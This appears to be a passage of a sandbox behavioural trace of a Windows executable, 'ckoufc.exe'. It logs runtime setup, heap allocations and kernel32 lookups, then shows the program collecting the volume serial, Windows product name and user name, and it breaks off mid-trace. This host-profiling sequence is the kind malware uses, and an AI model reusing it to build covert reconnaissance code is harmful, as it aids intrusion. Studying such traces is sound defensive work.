!\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x19fca4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x1f\xec\x20\xbc\xe0\xfe\x19", lpUsedDefaultChar=0x0) returned 256 [0041.076] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0041.076] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda4, cbMultiByte=256, lpWideCharStr=0x19f4f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0041.076] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0041.076] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x19f2e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0041.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x19fba4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x1f\xec\x20\xbc\xe0\xfe\x19", lpUsedDefaultChar=0x0) returned 256 [0041.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x526760 [0041.076] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x45aae0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ckoufc.exe")) returned 0x22 [0041.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x2b) returned 0x52ee98 [0041.076] RtlInitializeSListHead (in: ListHead=0x45a290 | out: ListHead=0x45a290) [0041.076] GetLastError () returned 0x0 [0041.076] SetLastError (dwErrCode=0x0) [0041.076] GetEnvironmentStringsW () returned 0x539360* [0041.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0041.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x565) returned 0x53bb20 [0041.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x53bb20, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0041.077] FreeEnvironmentStringsW (penv=0x539360) returned 1 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x94) returned 0x52faa8 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x1f) returned 0x52aed0 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x28) returned 0x534a28 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x37) returned 0x535ea0 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x3c) returned 0x533c30 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x31) returned 0x52e878 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x14) returned 0x535058 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x24) returned 0x534878 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0xd) returned 0x53a2c8 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x17) returned 0x535098 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x2b) returned 0x52efe8 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x15) returned 0x535298 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x17) returned 0x535078 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x22) returned 0x534968 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0xe) returned 0x53a2f8 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0xc1) returned 0x530fa0 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x3e) returned 0x533c78 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x1b) returned 0x539408 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x1d) returned 0x539548 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x48) returned 0x52e410 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x12) returned 0x535258 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x18) returned 0x535138 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x1b) returned 0x539778 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x24) returned 0x534b18 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x29) returned 0x52eed0 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x1e) returned 0x5397a0 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x6b) returned 0x530ee0 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x17) returned 0x5352b8 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0xf) returned 0x53a238 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x16) returned 0x535198 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x28) returned 0x534b48 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x27) returned 0x534b78 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x12) returned 0x5351f8 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x21) returned 0x534998 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x10) returned 0x53a250 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x1c) returned 0x5397f0 [0041.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x12) returned 0x535278 [0041.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53bb20 | out: hHeap=0x520000) returned 1 [0041.077] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0041.078] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeConditionVariable") returned 0x77c13a00 [0041.078] GetProcAddress (hModule=0x75e90000, lpProcName="SleepConditionVariableCS") returned 0x7500fca0 [0041.078] GetProcAddress (hModule=0x75e90000, lpProcName="WakeAllConditionVariable") returned 0x77c18a90 [0041.078] RtlInitializeConditionVariable (in: ConditionVariable=0x45a26c | out: ConditionVariable=0x45a26c) [0041.078] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0041.078] GetProcAddress (hModule=0x75e90000, lpProcName="FlsAlloc") returned 0x75ea4ae0 [0041.078] GetProcAddress (hModule=0x75e90000, lpProcName="FlsFree") returned 0x75ea4b00 [0041.078] GetProcAddress (hModule=0x75e90000, lpProcName="FlsGetValue") returned 0x75ea4b20 [0041.078] GetProcAddress (hModule=0x75e90000, lpProcName="FlsSetValue") returned 0x75ea4b40 [0041.078] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSectionEx") returned 0x75efebc0 [0041.078] GetProcAddress (hModule=0x75e90000, lpProcName="InitOnceExecuteOnce") returned 0x74f95550 [0041.078] GetProcAddress (hModule=0x75e90000, lpProcName="CreateEventExW") returned 0x75efeb20 [0041.078] GetProcAddress (hModule=0x75e90000, lpProcName="CreateSemaphoreW") returned 0x75efeb90 [0041.078] GetProcAddress (hModule=0x75e90000, lpProcName="CreateSemaphoreExW") returned 0x75efeb80 [0041.079] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThreadpoolTimer") returned 0x75ea6d30 [0041.079] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadpoolTimer") returned 0x77bfd7c0 [0041.079] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77bfb840 [0041.079] GetProcAddress (hModule=0x75e90000, lpProcName="CloseThreadpoolTimer") returned 0x77bfb740 [0041.079] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThreadpoolWait") returned 0x75ea6d70 [0041.079] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadpoolWait") returned 0x77bfc0b0 [0041.079] GetProcAddress (hModule=0x75e90000, lpProcName="CloseThreadpoolWait") returned 0x77bfbe10 [0041.079] GetProcAddress (hModule=0x75e90000, lpProcName="FlushProcessWriteBuffers") returned 0x77c22b20 [0041.079] GetProcAddress (hModule=0x75e90000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77c18e50 [0041.079] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcessorNumber") returned 0x77c152f0 [0041.080] GetProcAddress (hModule=0x75e90000, lpProcName="CreateSymbolicLinkW") returned 0x75ea4510 [0041.080] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentPackageId") returned 0x74f9e260 [0041.080] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount64") returned 0x75ea0db0 [0041.080] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileInformationByHandleEx") returned 0x75ea43d0 [0041.080] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileInformationByHandle") returned 0x75eff110 [0041.080] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x75eff1e0 [0041.080] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeConditionVariable") returned 0x77c13a00 [0041.080] GetProcAddress (hModule=0x75e90000, lpProcName="WakeConditionVariable") returned 0x77c88c50 [0041.080] GetProcAddress (hModule=0x75e90000, lpProcName="WakeAllConditionVariable") returned 0x77c18a90 [0041.080] GetProcAddress (hModule=0x75e90000, lpProcName="SleepConditionVariableCS") returned 0x7500fca0 [0041.080] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeSRWLock") returned 0x77c13a00 [0041.081] GetProcAddress (hModule=0x75e90000, lpProcName="AcquireSRWLockExclusive") returned 0x77bf58e0 [0041.081] GetProcAddress (hModule=0x75e90000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77c72ce0 [0041.081] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseSRWLockExclusive") returned 0x77bf83a0 [0041.081] GetProcAddress (hModule=0x75e90000, lpProcName="SleepConditionVariableSRW") returned 0x7500fcf0 [0041.081] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThreadpoolWork") returned 0x75ea6db0 [0041.081] GetProcAddress (hModule=0x75e90000, lpProcName="SubmitThreadpoolWork") returned 0x77bfeb00 [0041.081] GetProcAddress (hModule=0x75e90000, lpProcName="CloseThreadpoolWork") returned 0x77bfed50 [0041.081] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringEx") returned 0x75ea7050 [0041.081] GetProcAddress (hModule=0x75e90000, lpProcName="GetLocaleInfoEx") returned 0x75ea7190 [0041.081] GetProcAddress (hModule=0x75e90000, lpProcName="LCMapStringEx") returned 0x75ea7480 [0041.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x800) returned 0x53bb20 [0041.081] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0041.081] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40e005) returned 0x0 [0041.083] GetCurrentThread () returned 0xfffffffe [0041.083] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0x19ff0c, lpExitTime=0x19ff14, lpKernelTime=0x19ff14, lpUserTime=0x19ff14 | out: lpCreationTime=0x19ff0c, lpExitTime=0x19ff14, lpKernelTime=0x19ff14, lpUserTime=0x19ff14) returned 1 [0041.083] RtlInitializeSListHead (in: ListHead=0x45b218 | out: ListHead=0x45b218) [0041.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x710) returned 0x53c770 [0041.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x52f020 [0041.088] GetSystemInfo (in: lpSystemInfo=0x19f4a4 | out: lpSystemInfo=0x19f4a4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0041.089] GetVolumeInformationW (in: lpRootPathName=0x0, lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x19f4e0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19f4e0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0041.089] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539570 [0041.089] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5396b0 [0041.089] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539570 | out: hHeap=0x520000) returned 1 [0041.089] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x1, phkResult=0x19ff08 | out: phkResult=0x19ff08*=0x130) returned 0x0 [0041.089] RegQueryValueExW (in: hKey=0x130, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x19fa20, lpcbData=0x19feb0*=0x200 | out: lpType=0x0, lpData=0x19fa20*=0x57, lpcbData=0x19feb0*=0x1e) returned 0x0 [0041.089] RegCloseKey (hKey=0x130) returned 0x0 [0041.089] GetUserNameW (in: lpBuffer=0x19f81c, pcbBuffer=0x19feac | out: lpBuffer="FD1HVy", pcbBuffer=0x19feac) returned 1 [0041.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539598 [0041.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x533a80 [0041.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539598 | out: hHeap=0x520000) returned 1 [0041.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x52e6c8 [0041.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x76) returned 0x52e908 [0041.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x52e6c8 | out: hHeap=0x520000) returned 1 [0041.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5313d8 [0041.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x52e908 | out: hHeap=0x520000) returned 1 [0041.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x533a80 | out: hHeap=0x520000) returned 1 [0041.096] 